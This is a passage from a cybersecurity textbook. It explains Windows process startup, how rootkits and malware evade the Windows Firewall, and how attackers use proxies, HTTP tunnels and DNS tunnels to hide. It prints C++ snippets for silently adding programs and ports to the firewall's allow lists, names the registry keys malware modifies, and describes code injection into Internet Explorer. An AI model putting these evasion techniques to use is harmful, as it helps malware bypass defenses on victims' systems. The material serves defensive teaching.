running KiThreadStartup42 to set up the necessary kernel-level attributes such as the interrupt request level (IRQL).43 KiThreadStartup in
turn calls PspUserThreadStartup, which begins by setting the locale
ID and processor type in the thread execution block (TEB) specific
to the executable’s header.
If the process has a user mode or kernel mode debugger attached,
the kernel informs the appropriate debugger of the creation of the new
process. If the debugger requests that the kernel kill the thread, the
operating system immediately terminates the thread. If the administrator has enabled prefetching on the system, the prefetcher44 activates. The prefetcher allows the operating system to load a binary
faster by using a single data block to reference information from the
last time the same binary ran. Coordinating the necessary information into a data structure that the prefetcher can load in a single disk
read significantly reduces the time associated with excessive random
access disk reads.
The function PspUserThreadStartup initializes the system-wide
stack cookie if it has not done so already. This cookie prevents general
stack overflow attacks45 by setting a value near the end of a function’s
stack frame. Before a function returns, the stack cookie’s integrity is
verified. If the function cannot verify the integrity of the cookie, the
function generates an exception that the binary must address or allows
the operating system to terminate the process as a safety precaution.
Exhibit 1-29 displays the steps required by this phase.
1.2.3.7â•‡ Down to the Final Stepsâ•… The system initializes the thread local
storage (TLS) and fiber local storage (FLS) arrays. The result of this
is the possible creation of a preemptive thread as defined in the transport layer security (TLS) configuration.
Once the necessary data structures are established, the system processes the import table of the executable image. This table results in
the various required DLLs loading and their entry points being called.
For each DLL loaded, the loader passes the entry point function, the
DLL_PROCESS_ATTACH flag, to indicate to the DLL that a new
process has loaded it. Exhibit 1-30 details this short phase.
The CreateProcess function has now initialized the executable
image, registered the necessary data structures with kernel and the
Windows subsystem, and loaded the necessary resources to allow
the initial thread to execute. With this in mind, the system begins
the execution of the initial thread for the new process. After the
6 2
Execute Initial Thread
Initial Thread is Executed by the
Operating System
IRQL and Other Kernel-Level
Attributes Established
Locale and Process Type Defined in
the Thread Execution Block (TEB)
If Required, a Debugger is Created
Prefetching Begins
Stack Cookie Established
Exhibit 1-29â•… Execution of the initial thread phase.
Complete Initialization
(Load Required DLLs)
Thread-Local Storage (TLS) and
Fiber-Local Storage (FLS) Initialized
Generate Additional Preemptive
Thread If Necessary for TLS
Import Table Processed
Required DLLs Loaded
Exhibit 1-30â•… Completion of the process initialization phase.
Begin Process Execution
Calling Process and New
Process are Separated
CreateProcess Returns PID
of New Process
Exhibit 1-31â•… The process begins.
process’s thread begins, the separation between the process that called
CreateProcess and the new process is complete, and CreateProcess
returns to the caller with the new process’s PID. Exhibit 1-31 shows
this final phase.
1.2.3.8â•‡ Exploiting Windows Execution for Fun and Profitâ•… Given the vari-
ety of data structures and steps required to generate and execute a process
(and its threads), there are undoubtedly areas where malicious actors
may exploit these data structures to hide their nefarious activities. One
of the most common methods, rootkits, can hide a process by masking out the process object. The function ZwQuerySystemInformation
provides information about various system attributes, including the
list of running processes. When malicious code hooks this function,
it is possible to prevent the caller from seeing all processes, effectively
hiding a running malicious executable.
During the DLL loading phase, the operating system queries a
registry entry called HKEY_LOCAL_MACHINE\Software\
Microsoft\WindowsNT\CurrentVersion\Windows\AppInit_DLLs
to determine additional DLLs to load at the start of the new process’s
initial thread execution. This gives attackers the ability to load their
own custom DLLs into every running process on victims’ systems
without the affected process’s binaries explicitly requesting the malicious DLL.
As described above, the process to take an executable program file
and turn that file into running code is highly involved. Fortunately,
the Windows API masks the majority of the operation behind a subset
of API functions. The encapsulation of the low-level details of process
creation frees the developer from writing code that could lead to potentially devastating results if done poorly, although accessing functions
6 4
directly still provides plenty of opportunity to construct malicious
executables. While Windows does attempt to hide the majority of the
underlying data structures associated with process management, malicious code authors, especially those who develop rootkits, have managed to exploit key aspects of the process management system to hide
their processes. Sometimes, having a bit more transparency might help
situations like this. At the very least, additional controls should be in
place to prevent such tampering from going unnoticed.
1.2.4â•‡ The Windows Firewall
With the release of Windows XP SP2, Microsoft Corporation provided users with a built-in firewall in hopes of protecting its users
from network threats. Before this release, to protect themselves from
network attacks, Windows users had to purchase third-party firewall
products such as Zone Alarm or Black Ice. Many users did not understand the need for firewall software, and as a result, the users of the
older Windows operating systems were left largely exposed.
With the introduction of the Windows Firewall, also known as
the Internet Connection Firewall (ICF), Microsoft institutionalized
the use of a limited-functionality firewall to prevent a large number of
network attacks. The Windows Firewall is a stateful firewall, meaning
that the firewall monitors network connections that originate from
the user and denies connections that do not originate from the user.
By default, this type of firewall denies any incoming network connection that the user did not initiate while allowing user-initiated connection out to the network. Moreover, the Windows Firewall in Vista
and Windows Server 2008 has the ability to deny outbound connections on a port-by-port basis. Exhibit 1-32 depicts this behavior.
The Windows Firewall consists of relatively few components:46 a
network driver, a user interface, and a network service. The core of the
Windows Firewall is located in the IPNat.sys network driver. This
driver is responsible for not only the Windows Firewall but also the
network address translation (NAT) functionality of the operating system. The driver registers itself as a “firewall hook driver” to determine
if the firewall should allow or disallow a connection (inbound or outbound). The determination of which connections to allow or disallow
is derived from the list of approved applications and ports supplied by
Cy ber Se c urit y F un d a m en ta l s Windows Operating System
Request:
Port 80
65
Windows
Firewall
Web Browser
Web Server
Reply
Malware
Request:
Port 6667
Unsolicited
Request
Attacker
Exhibit 1-32â•… Windows Firewall’s stateful firewall operation.
the user through the user interface component. The user interface, as
seen in Exhibit 1-33, allows the user to define which applications and
which ports the system allows in and out of the Windows Firewall.
The Internet Connection Firewall and Internet Connection Sharing
(ICF/ICS) service handles the translation of the firewall rules from
the user interface to the IPNat.sys driver. In the event that the ICF/
ICS server shuts down, the firewall functionality of the operating system is disabled. This is one way that malicious code can circumvent
the restrictions imposed by the Windows Firewall.
The overall system involved in the Windows Firewall appears, on
the surface, to be a rather simplistic three-component system and,
from a malicious code author’s perspective, there are numerous ways
to get around the firewall. As mentioned previously, simply disabling
the ICF/ICS service is the fastest way to evade the firewall. The side
effect of this action is the immediate security popup, seen in Exhibit
1-34, indicating that the firewall is now disabled. This brute force
approach to disabling the firewall can be immediately apparent; however, malicious code authors can suppress the security alert using the
Windows application programming interface (API). Regardless of
the suppression of the alert, the fact remains that the malicious code
has clearly disabled the service, giving the victim warning that something has compromised the system.
A more subtle approach adopted by many malicious code families
involves adding the offending malicious code to the list of approved
applications. As seen previously in Exhibit 1-33, the Windows Firewall
retains a list of applications that the user has approved for network
access. When the user first engages the Windows Firewall, only a
very small number of entries are present in the list. In recent Windows
6 6
Exhibit 1-33â•… Windows Firewall user interface.
Exhibit 1-34â•… Security alert after disabling the Internet Connection Firewall and Internet
Connection Sharing (ICF/ICS) service.
versions, such as Vista and Server 2008, the user must explicitly enable
common applications, such as Internet Explorer, for the application to
have access to the network. For the malicious code author to add the
malicious code to a list of authorized applications, the author must
either modify the registry directory or use the Windows API. To add
itself to the list of Windows Firewall–authorized applications, the
malicious code adds an entry to the following registry branches:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Ser v ices\ Sha red Access\ Pa ra meters\ F irewa l l Pol ic y\
StandardProfile\AuthorizedApplications\List
DomainProfile\AuthorizedApplications\List
These branches contain a list of all of the Windows Firewall–
authorized applications in a series of strings that indicate the path to
the application along with key attributes. The malicious code adds its
information here as if the application is actually allowed to traverse
the firewall.
Windows provides an alternative to directly modifying the registry by providing an API interface47 to modify the Windows Firewall
directly. Using a few lines of code, as seen in Exhibit 1-35, malicious
code authors can add their creations to the list of Windows Firewall–
authorized applications. Using the API may reduce the likelihood of
the malicious code raising suspicion about the victim or tripping antivirus solutions that monitor direct registry modifications.
Adding a program to the authorized programs list only allows the
malicious code to access the network; it does not allow the malicious
code to run as a server application. For the Windows Firewall to allow
6 8
// Retrieve the authorized application collection.
fwProfile->get_AuthorizedApplications(&fwApps);
// Create an instance of an authorized application.
CoCreateInstance(
__uuidof(NetFwAuthorizedApplication),
NULL,
CLSCTX_INPROC_SERVER,
__uuidof(INetFwAuthorizedApplication),
(void**)&fwApp
);
// Allocate a BSTR for the process image file name.
fwBstrProcessImageFileName = SysAllocString(fwProcessImageFile
Name);
// Set the process image file name.
fwApp->put_ProcessImageFileName(fwBstrProcessImageFileName);
// Allocate a BSTR for the application friendly name.
fwBstrName = SysAllocString(fwName);
// Set the application friendly name.
hr = fwApp->put_Name(fwBstrName);
// Add the application to the collection.
hr = fwApps->Add(fwApp);
Exhibit 1-35â•… Programmatically adding a program to the Windows Firewall authorized programs list.
access to incoming network connections, the malicious code author
must “poke a hole” in the firewall. Much the same way that authorized programs are contained within the registry, the firewall retains
the list of ports that allow unsolicited network connections in the
registry under the branches:
StandardProfile\GloballyOpenPorts\List
DomainProfile\GloballyOpenPorts\List
Windows gives each opened port a set of configuration items defining the network (or networks) allowed to make connections, the protocol of the port (TCP or UDP), and the name of the service running the
port. Malicious code authors can insert their own port definitions into
the list to open a hole for the malicious code. For malicious code such
as Waledac, which can provide HTTP and DNS services on Internetfacing victims, it is important to disable the Windows Firewall to
allow the malicious code to provide the necessary services.
fwProfile->get_GloballyOpenPorts(&fwOpenPorts);
// Create an instance of an open port.
CoCreateInstance(
__uuidof(NetFwOpenPort),
NULL,
CLSCTX_INPROC_SERVER,
__uuidof(INetFwOpenPort),
(void**)&fwOpenPort
);
// Set the port number.
fwOpenPort->put_Port(portNumber);
// Set the IP protocol.
fwOpenPort->put_Protocol(ipProtocol);
// Allocate a BSTR for the friendly name of the port.
fwBstrName = SysAllocString(name);
// Set the friendly name of the port.
fwOpenPort->put_Name(fwBstrName);
// Opens the port and adds it to the collection.
fwOpenPorts->Add(fwOpenPort);
Exhibit 1-36â•… Programmatically opening a port through the Windows Firewall.
Waledac, however, does not directly modify the Windows registry.
Instead, Waledac uses the Windows Firewall API to open firewall
ports. Exhibit 1-36 illustrates the Microsoft example for programmatically opening a port in the Windows Firewall.
Antivirus vendors may detect a modification to the firewall settings of Windows Firewall. When malicious code needs to remain
stealthy, modifying the Windows Firewall settings to connect to the
command-and-control (C&C) server may prove problematic. Many
families of malicious code, notably the BBB group B family from
2008,48 use programs such as Internet Explorer to circumvent the
Windows Firewall restrictions.
As mentioned previously, Windows Vista does not give Internet
Explorer access to the Internet by default. With the prevalence of
Internet Explorer, many attackers assume that victims have given
Internet Explorer access to the Internet by adding the application to
the Windows Firewall–authorized programs list.
Windows XP systems, on the other hand, automatically allow
Internet Explorer network requests to traverse the Windows Firewall,
regardless of whether or not the user explicitly lists the browser in the
authorized application list. Attackers can exploit this fact by injecting code into a running Internet Explorer instance. The Windows
70
Firewall does not concern itself with what part of Internet Explorer is
requesting access through the firewall, only that the overall application itself is requesting the access. Using the Windows API functions
WriteProcessMemory, an attacker can inject code into the Internet
Explorer process. Then, using the CreateRemoteThread API, the
attacker can activate the code under the context of Internet Explorer,
giving the attacker’s code the ability to access the Internet without
disturbing the Windows Firewall. Typically, when an instance of
Internet Explorer is unavailable, malicious code authors create a new
instance of Internet Explorer using WinExec or CreateProcess while
starting the new instance as a hidden application. This prevents the
new instance from appearing on the taskbar and alerting the victim of
the presence of the malicious code.
Given the fact that the Windows Firewall is little more than software running on a potentially infected host, malicious code could
install additional network drivers to intercept traffic before the
Windows Firewall can intercede. Using a new network stack, such
as is done by the Srizbi family of malicious code, quickly defeats the
Windows Firewall but requires a higher degree of operating system
knowledge on the part of the malicious code author.
Given the multiple ways around the Windows Firewall, it is apparent that, by itself, the Windows Firewall is not sufficient protection
against malicious code threats. With a variety of malicious code
designed to handle the obstacles presented by the Window Firewall,
the enterprise cannot rely on the firewall itself as the sure-fire solution. Thus, enterprises should not rely on the Windows Firewall alone,
but should consider the system as an additional layer in the overall
“defense-in-depth” strategies deployed by most network administrators. The most effective enterprise firewall solution comes when using
firewall devices external to the Windows computer the company
wishes to protect.
References
1. “National Information Assurance Glossary,” June 2006, http://www.cnss.
gov/Assets/pdf/cnssi_4009.pdf.
2. “State of the Hack: iDefense Explains … Public Key Encryption,” iDefense Weekly Threat Report, ID# 490870, July 6, 2009.
3. “National Information Assurance Glossary,” June 2006, http://www.cnss.
gov/Assets/pdf/cnssi_4009.pdf.
4. “German Enigma Cipher Machine,” June 19, 2009, http://users.telenet.
be/d.rijmenants/en/enigma.htm.
5. Ibid.
6. Photo of rotors, http://users.telenet.be/d.rijmenants/pics/hires-wehr3rotors.jpg.
7. “State of the Hack: Basic Cryptography,” iDefense Weekly Threat Report,
8. Whitfield Diffie and Martin E. Hellman, “New Directions in
Cryptography,” IEEE Transactions on Information Theory IT-22
(November 1976): 644–54.
9. R. L. Rivest, A. Shamir, and L. Adleman, “A Method for Obtaining
Digital Signatures and Public Key Cryptosystems,” Communications of
the ACM 21, no. 2 (February 1978): 120–6.
10. Example from S. Singh, The Code Book: The Science of Secrecy from Ancient
Encrypt to Quantum Cryptography (London: Fourth Estate, 1999).
11. P. Mockapetris, Network Working Group “Domain Names:
Implementation and Specification,” November 1987, http://www.dns.
net/dnsrd/rfc/rfc1035/rfc1035.html.
12. DNS Security Extensions, “DNSSEC: DNS Security Extensions:
Securing the Domain Name System,” 2002–2010, http://www.dnssec.
net.
13. Frederick Avolio, “Firewalls and Internet Security: The Second Hundred
(Internet) Years,” Internet Protocol Journal 2, no. 2: http://www.cisco.com/
web/about/ac123/ac147/ac174/ac200/about_cisco_ipj_archive_article09186a00800c85ae.html.
14. Leroy Davis, “OSI Protocol Description,” http://www.interfacebus.com/
Design_OSI_Stack.html.
15. “State of the Hack: iDefense Explains ... the Windows Firewall,” iDefense Weekly Threat Report, ID# 485886, May 4, 2009.
16. Rusty Russell, “Linux IPCHAINS-HOWTO,” July 4, 2000, http://people.netfilter.org/~rusty/ipchains/HOWTO.html.
17. Netfilter, “The Netfilter.Org ‘Iptables’ Project,” http://www.netfilter.org/
projects/iptables/index.html.
18. Shweta Sinha, “TCP Tutorial,” November 19, http://www.ssfnet.org/
Exchange/tcp/tcpTutorialNotes.html.
19. “Understanding Full Virtualization, Paravirtualization, and Hardware
Assist,” VMware, September 11, 2007, http://www.vmware.com/files/
pdf/VMware_paravirtualization.pdf.
20. “Virtualization,”
Intel,
Inc.,
http://www.intel.com/technology/
virtualization/.
21. “AMD Virtualization,” AMD, http://www.amd.com/us/products/technologies/virtualization/Pages/virtualization.aspx.
22. “What Is Xen?” Xen, http://www.xen.org.
23. “Paravirtualization Option Is Not Disabled for Unsupported Operating
Systems,” VMWare, http://kb.vmware.com/selfservice/microsites/search.
do?language=en_US&cmd=displayKC&externalId=1003008.
72
24. Simon Sheppard, “chroot,” SS64, http://ss64.com/bash/chroot.html.
25. “Free Virtual Private Server Solution,” SWSoft, http://www.freevps.com.
26. “Using a Jail as a Virtual Machine,” DVL Software Ltd., September 1,
2009, http://www.freebsddiary.org/jail.php.
27. Christian Bauer, “What Is Basilisk II?” http://basilisk.cebix.net.
28. Kostya Kortchinsky, “Cloudburst,” Immunity, Inc., June 2, 2009, http://
www.blackhat.com/presentations/bh-usa-09/KORTCHINSKY/
BHUSA09-Kortchinsky-Cloudburst-PAPER.pdf.
29. “Path Traversal Vulnerability in VMware’s Shared Folders
Implementation,” Core Security Technologies, February 25, 2008, http://
www.coresecurity.com/content/advisory-vmware.
30. “RFID Chips in Car Keys and Gas Pump Pay Tags Carry Security
Risks,” http://www.jhu.edu/news_info/news/home05/jan05/rfid.html.
31. YouTube, “Cloning Passport Card RFIDs in Bulk for Less Than
$250,” http://www.youtube.com/watch?v=9isKnDiJNPk.
32. Microsoft, “Thread Security and Access Rights (Windows),” http://
msdn.microsoft.com/en-us/library/ms686769(VS.85).aspx.
33. Microsoft, “SetWindowsHookEx Function,” April 20, 2009, http://
msdn.microsoft.com/en-us/library/ms644990(VS.85).aspx.
34. “Shatter Attacks: How to Break Windows,” April 20, 2009, http://web.
archive.org/web/20060115174629/http://security.tombom.co.uk/shatter.html.
35. Microsoft, “Interactive Services,” April 20, 2009, http://msdn.microsoft.com/en-us/library/ms683502.aspx; and Microsoft, “Interacting
with Services,” April 20, 2009, http://blogs.msdn.com/larryosterman/
archive/2005/09/14/466175.aspx.
36. Microsoft, “Impact of Session 0 Isolation on Services and Drivers in
Windows Vista,” April 20, 2009, http://www.microsoft.com/whdc/
system/vista/services.mspx; further information on window messaging is available from Microsoft, “Microsoft: Win32 Hooks,” April 20,
2009, http://msdn.microsoft.com/en-us/library/ms997537.aspx; and
Microsoft, “About Message and Message Queues,” April 20, 2009, http://
msdn.microsoft.com/en-us/library/ms644927.aspx.
37. Microsoft, “Section Objects and Views,” http://msdn.microsoft.com/
en-us/library/ms796304.aspx.
38. Microsoft, “EPROCESS,” http://msdn.microsoft.com/en-us/library/
dd852036.aspx.
39. Mark Russinovich and David Solomon, with Alex Ionescu, Windows
Internals, 5th ed. (Redmond, Wash.: Microsoft Press, 2009), 338–9.
40. Microsoft, “PEB Structure,” http://msdn.microsoft.com/en-us/library/
aa813706(VS.85).aspx.
41. “State of the Hack: iDefense Explains…Windows Tokens,” iDefense
Weekly Threat Report, ID# 486906, June 15, 2009.
42. ReactOS,“ctxswitch.c,”http://doxygen.reactos.org/d4/d14/ctxswitch_8c_
source.html.
43. Microsoft, “Scheduling, Thread Context and IRQL,” http://msdn.microsoft.com/en-us/library/ms810029.aspx.
44. Microsoft, “The Windows Prefetcher,” http://blogs.msdn.com/vancem/
archive/2007/04/15/the-windows-prefetcher.aspx.
45. “State of the Hack: iDefense Explains… Stack-Based Buffer Overflows,”
iDefense Weekly Threat Report, ID# 480099, January 5, 2009.
46. Mark Russinovich and David Solomon, Windows Internals, 4th ed.
(Redmond, Wash.: Microsoft Press, 2004), 826.
47. Microsoft, “Exercising the Firewall Using C++ (Windows),” http://msdn.
microsoft.com/en-us/library/aa364726(VS.85).aspx.
48. “New IRS-Themed “Group B” BBB Attack Underway,” iDefense Weekly
Threat Report, ID# 470366, July 1, 2008.
2
At tacker Techniques
and M oti vations
2.1â•‡ How Hackers Cover Their Tracks (Antiforensics)
2.1.1â•‡ How and Why Attackers Use Proxies
Masking one’s IP address is a standard practice when conducting
illicit activities. A well-configured proxy provides robust anonymity
and does not log activity, thereby frustrating law enforcement efforts
to identify the original location of the person(s) involved.
A proxy allows actors to send network traffic through another
computer, which satisfies requests and returns the result. Students or
employees can use proxies to communicate with blocked services such
as Internet Relay Chat (IRC) and instant messaging, or to browse
websites that administrators block. Attackers also use proxies because
Internet Protocol (IP) addresses are traceable, and they do not want to
reveal their true locations. As one example, iDefense wrote about the
fast-flux architecture (ID# 484463), which uses a proxy infrastructure to satisfy requests. Proxies are also a common source of spam
e-mail messages, which use open relays (a simple mail transfer protocol [SMTP] proxy).
Proxies are useful to attackers in many ways. Most attackers use
proxies to hide their IP address and, therefore, their true physical location. In this way, attackers can conduct fraudulent financial
transactions, launch attacks, or perform other actions with little risk.
While law enforcement can visit a physical location identified by an
IP address, attackers that use one (or multiple) proxies across country
boundaries are more difficult to locate (see Exhibit 2-1). The endpoint
can only view the last proxy with which it is directly communicating
and not any of the intermediary proxies or the original location.
75
76
Exhibit 2-1â•… Multiple proxies make identifying the true source of an attack difficult.
Proxies provide attackers with a way to lower their risks of investigator identification of their true IP address. In the hypothetical attack
displayed in Exhibit 2-1, the victim’s log file contains only one of the
many IP addresses that investigators need to locate the attacker.
Attackers operate free proxies or alter a victim’s proxy settings
because proxies can serve as a monitoring tool. AnonProxy is one
example of a malicious proxy that its authors designed to monitor users
and steal information such as social-networking passwords.1 Since a
proxy relays traffic, it also has the ability to log and alter sensitive
pages or information. Attackers must either convince users or install
malicious code to modify proxy settings themselves.
Malicious code authors also install local proxies. By altering the
host’s file or browser configuration to use the proxy, the attacker redirects requests and captures confidential information. Some banking
Trojans give attackers the ability to proxy requests through the victim’s browser because conducting fraud from a legitimate user’s IP
address is less suspicious. Local proxies are more difficult to identify
because the local proxy does not open any network ports and scanning
the system will reveal no changes.
2.1.1.1â•‡ Types of Proxiesâ•… Proxies are so common that many attackers
scan the Internet for common listening proxy ports. The most common proxies listen on TCP port 80 (HTTP proxies), 8000, 8081,
443, 1080 (SOCKS Proxy), and 3128 (Squid Proxy), and some also
handle User Datagram Protocol (UDP). Attackers who install custom
proxies often do not use standard ports but instead use random high
At tac k er T e c hni q ue s a n d M o ti vati o n s
77
ports. Some lightweight proxies are written in scripting languages,
which run with an HTTP server and are easier for attackers to modify.
Application proxies require configuration. Some applications either
do not operate correctly through proxy services because the proxy
server removes necessary information or cannot satisfy the request.
Some services like The Onion Router (Tor)2 also give users the ability
to proxy traffic and hide their original location from victims.
A virtual private network (VPN) acts as a more versatile proxy and
supports more security features. Instead of configuring the application to use a proxy, users can tunnel all traffic through the VPN. VPN
services usually support strong authentication and are less likely to
leak information that could identify the user of a proxy.
Attackers commonly use free or commercial proxies (e.g., SOCKS
and VPN) that operators advertise on hacking forums. Attackers may
prefer these services to public proxies because they advertise anonymity and claim they do not keep logs, unlike Tor, where community
operators can monitor traffic going through an exit node that it controls. Proxy services that keep logs are a danger to attackers who use
these services for conducting fraud and can lead to their arrests. Some
commercial VPN and SOCKS proxy services include
•
•
•
•
•
•
•
•
•
hxxp://secretsline.net
hxxp://vpn-secure.net
hxxp://thesafety.us
hxxp://5socks.net
hxxp://vpn-service.us
hxxp://vip72.com
hxxps://www.cryptovpn.com
hxxp://www.vipvpn.com
hxxp://openvpn.ru
Another example of such a service from web-hack.ru shows free
and commercial proxies that are available (see Exhibit 2-2). Translated
from Russian, these free Proxy and SOCKS services are updated
every three hours; users can also purchase proxy access through
the store. Attackers may prefer proxy services advertised on hacking forums because they are less responsive to abuse requests. For
example, commercial proxy services like FindNot keep logs of their
78
Exhibit 2-2â•… Free and commercial proxies available from web-hack.ru.
users for a maximum of five days to protect the system from being
used for abusive purposes, while many of those services advertised
on hacking forums do not keep any logs. Operating proxy services is
not illegal because it has legitimate purposes related to anonymity for
users; however, some commercial proxy services are more willing to
respond to abuse than others.
2.1.1.2â•‡ Detecting the Use of Proxiesâ•… Detecting proxies is difficult and
not always reliable. Since many malicious code authors install custom
proxies and use encrypted or custom protocols, it is very difficult to
detect all proxies. There are techniques to detect common proxies,
but such techniques are unlikely to be effective against attackers who
use proxies aggressively.
Port scanning on corporate networks can identify proxies that listen
on default ports. Organizations should also monitor changes to proxy
configuration because such changes could indicate that an attacker
compromised a host. The registry key at HKCU\Software\Microsoft\
Windows\CurrentVersion\InternetSettings, ProxyServer, controls the
proxy settings for Internet Explorer. To detect proxies on the network
with intrusion detection systems (IDSs), organizations may use proxy
rules available from emergingthreats.net.3 The domain name system
blacklist (DNSBL) is one example of a blacklist that allows administrators to block certain proxies.4
Certain proxies do not proxy all traffic. For instance, a Web application can force users to perform unique DNS requests with subdomains (see Exhibit 2-3). The application links the DNS request to
the user’s IP address and verifies that the HTTP request originates
from the same IP address. If they are not the same, indicating the use
of a proxy, the application can determine that the proxy IP address
79
Unique DNS Request
HTTP
Attacker
HTTP
Proxy
HTTP Server
Exhibit 2-3â•… Certain proxy protocols may provide a way to identify the user of a proxy.
made the HTTP request and that the user’s actual IP address made
the DNS request. Similarly, some Web plug-ins may query the local
information rather than using the proxy address. As an example,
decloak.net is a Metasploit project that uses the following application
plug-ins to determine the true IP address of a proxy user:
•
•
•
•
•
Word
Java
Flash
QuickTime
iTunes
Metasploit has even provided an application programming interface
(API) for website owners to determine the true IP addresses of their
visitors. iDefense configured a browser to use a proxy and showed that
the Flash test correctly identified the real IP address because Flash
does not use Internet Explorer proxy settings.
More aggressive techniques, such as operating proxies, allow law
enforcement to determine the source and target of attacks that utilize proxies. While such measures are useful, they are generally very
difficult to operate because of abuse. Analysts must carefully monitor activity because attacks now originate from proxy nodes and may
result in illegal or otherwise unwanted activity.
2.1.1.3â•‡ Conclusionâ•… Free and commercial proxies are very numerous
on the Internet and can use standard protocols and ports. Other proxies are more difficult to identify, and administrators can detect the use
of proxies through configuration changes, IDSs, or tools like decloak.
net. Attackers who want to hide their locations have resources available to them. Since it is difficult to detect all proxy users accurately,
proxy tools and services will continue to be useful for attackers.
8 0
2.1.2â•‡ Tunneling Techniques
Most enterprise security controls include strong firewalls, intrusion
detection systems (IDSs), and user policies, such as proxies and timeof-day rules that limit the amount and type of traffic generated on
user networks. Tunneling data through other protocols often bypasses
these controls and may allow sensitive data to exit the network and
unwanted data to enter. It is even possible to extend all networks
through these means without ever triggering an alert or log entry.
Most researchers cannot help but think of secure shell (SSH) when
hearing the word tunneling. The authors of SSH, the encrypted version of Telnet “on steroids,” designed it to be able to tunnel data over
the connections it makes so that other applications and protocols
could potentially be more secure. Data, after all, is no different when
it is composed of keystrokes and terminal printouts than when it is
simply files sent over FTP, Web requests sent over HTTP, or entire
IP packets. That is all tunneling really is—a way to transfer arbitrary
data in the payload of a protocol and then potentially interpret them
differently or in some other extended way than originally intended.
A common, simple form of traffic tunneling in SSH is the tunneling of a Transmission Control Protocol (TCP) port. When a user
configures such tunneling over an SSH session, the protocol simply
proxies a TCP connection over the SSH connection, and the content
of the TCP connection does not flow directly from source to destination, but rather through the SSH connection. One side of the SSH
connection (either server or client) listens on a specified TCP port as
the source of the data and transfers all the data to the other side of the
SSH connection. This other side then forwards the data to the specified TCP destination. An SSH tunneling configuration can become
more complicated, because users can configure it to provide a reverse
tunnel or arbitrary application proxying through protocols such
as SOCKS, but the underlying concept remains the same. Exhibit
2-4 shows how an SSH connection can tunnel a Telnet connection
securely between trusted environments. The example tunnels traffic
between two unrelated hosts that have no SSH capability to illustrate
the flexibility of the solution.
Researchers designed SSH to provide this capability, but it is
simple to block. The Internet Engineering Task Force Request for
81
SSH Tunnel Endpoint
SSH Data
Internet
Telnet Client
SSH Client
SSH Connection
SSH Server
Telent Server
TCP Connection
Exhibit 2-4â•… Telnet tunneled over a secure shell (SSH) connection.
Comments (IETF RFC), which has published documents describing
protocol standards, defines SSH’s port cleanly so administrators can
filter it. The traffic signature, especially the initial handshake, is obvious, and some deep packet inspection tools may block it regardless of
what port a user chooses. Still, tunneling is not limited to SSH. A
deft attacker can coax any protocol into tunneling traffic; however, for
the tunnel to be valuable for hoarding data in and out of a network,
protocols with substantial areas of payload work best. Many types
of open source software already exist, all of which allow tunneling
through well-known protocols, which attackers can use out of the box
or with some simple tweaking to defeat most firewalls’ rules, proxies,
and other administrative access controls quickly. By writing custom
applications that act as the client and server for other protocols in
a given environment, malicious code can hide its activities and gain
unfettered access to and from any network. To illustrate this point,
this section examines some of the most common unrestricted protocols in the enterprise—HTTP, the domain name system (DNS), and
Internet Control Message Protocol (ICMP)—to show how open and
flexible they are.
2.1.2.1â•‡ HTTPâ•… HTTP has become the de facto high-level protocol
on the Internet. As the protocol used for accessing content on the
World Wide Web, developers adapted it to carry much more than
just the static text and images of Web pages. It now carries audio and
video streams, can transfer large files, and can even carry applicationto-application remote procedure calls (RPCs). Its ubiquity and indispensability make it a prime candidate for tunneling operations.
Referring to Exhibit 2-4, in the case of HTTP and most other tunnels, other appropriate software that communicates via the protocol
8 2
The HTTP Request Message:
METHOD
/path
query
?
HTTP/VERSION
header
content
The HTTP Reply Message:
HTTP/VERSION
STATUS
reason
header
content
Exhibit 2-5â•… HTTP messages.
of choice simply replaces the client, server, connection, and data (payload). Exhibit 2-5 shows the syntaxes of an HTTP request and reply
that illustrate areas of the protocol that can contain discretionary
information for data transfer.
As one can see, the protocol allows, in essence, unlimited space
for content (or payload) in the request or reply message in addition to
other open areas, such as the headers, whether this content includes
arbitrary custom headers or inappropriate data in valid headers. This
makes it convenient to transfer arbitrary data to and from an HTTP
server. All one needs to tunnel the traffic is software that can pretend
to talk to the protocol but in reality can transfer data for some other
(perhaps nefarious) purpose. A tunneling Web server or a tunneling
Web application running on a legitimate Web server will work. Both
types of solutions are readily available as open source software. Since
tunneled traffic looks and acts like HTTP, application proxies are not
a viable defense, as malicious users or software will simply use the
proxies as their administrators intended: to transmit HTTP message
through a control point.
Most malicious code already acts as a simple HTTP tunnel; in
practice, it posts sensitive data to malicious Web servers for purposes
other than to retrieve a Web-based resource. It also sometimes communicates over HTTP; however, it may not act as fully functional
tunnels that attackers could use to infiltrate or exfiltrate the network
on which they sit. To do that, attackers need a complete tunnel client
and server. Some common software for the task is GNU httptunnel,5
JHttpTunnel,6 and Webtunnel.7 There are also paid services dedicated
to the task so that a malicious user needs only a client, such as PingFu8
83
on Art of Ping. Commercial solutions also exist that almost make the
practice appear as legitimate and valid solutions for defeating “restrictive” firewalls, such as HTTP Tunnel by netVigilance.9
HTTPS, which is HTTP secured over a secure socket layer (SSL)
against eavesdropping and tampering, is no different from HTTP
except that it makes detection harder. If a malicious actor cannot
eavesdrop, he or she does not have a chance to detect known signatures of tunnels. Proxies that support HTTPS through a CONNECT
method may actually make matters far worse, as the CONNECT
method simply establishes an arbitrary TCP connection that can send
or receive any data.
2.1.2.2â•‡ DNSâ•… The DNS is the core directory service of the Internet.
Without it, translations between names, such as www.verisign.com
and IP addresses, could not happen, and it would be difficult, if not
impossible, to manage the daily operations of the Internet. Although
the DNS architecture is fundamentally different from that of HTTP,
the community designed it to carry different data over a different protocol; however, they share one important aspect: required availability.
Since DNS is a service that an administrator cannot block and must
always make available, it is also a good choice for data exfiltration and
tunneling. The basic construct of DNS is different from HTTP and
other content delivery protocols. The most common delivery mechanism for DNS is the UDP, not TCP, so the specifications do not
guarantee communication reliability. It is hierarchically decentralized so clients may not send transmissions directly to a specific end
server, but other servers may relay it, and the size of the information
contained in each burst of communication is relatively small. These
features make the deployment of functional tunnels more difficult but
not impossible. Exhibit 2-6 shows the layout of DNS message packets; the darker areas indicate where software can hide payloads.
Since there are few small areas where data can be stored, DNS tunnels need many packets to transfer large amounts of data and tend to
be chatty. In most cases, the tunnel client is simple end user software
that makes many requests for nonexistent hosts (where the host names
are the encoded payload, such as 0123456789abcdef.badguy.goodguy.
com) on some malicious domain or subdomain (badguy.goodguy.com)
and expects a payload as the response from the tunnel server. The tunnel
8 4
HEADER
question
The Question for the Name Server
answer
authority
Resource Records (RRs) Answering
the Question
RRs Pointing Toward an Authority
additional
RRs Holding Additional Information
1 1 1 1 1 1
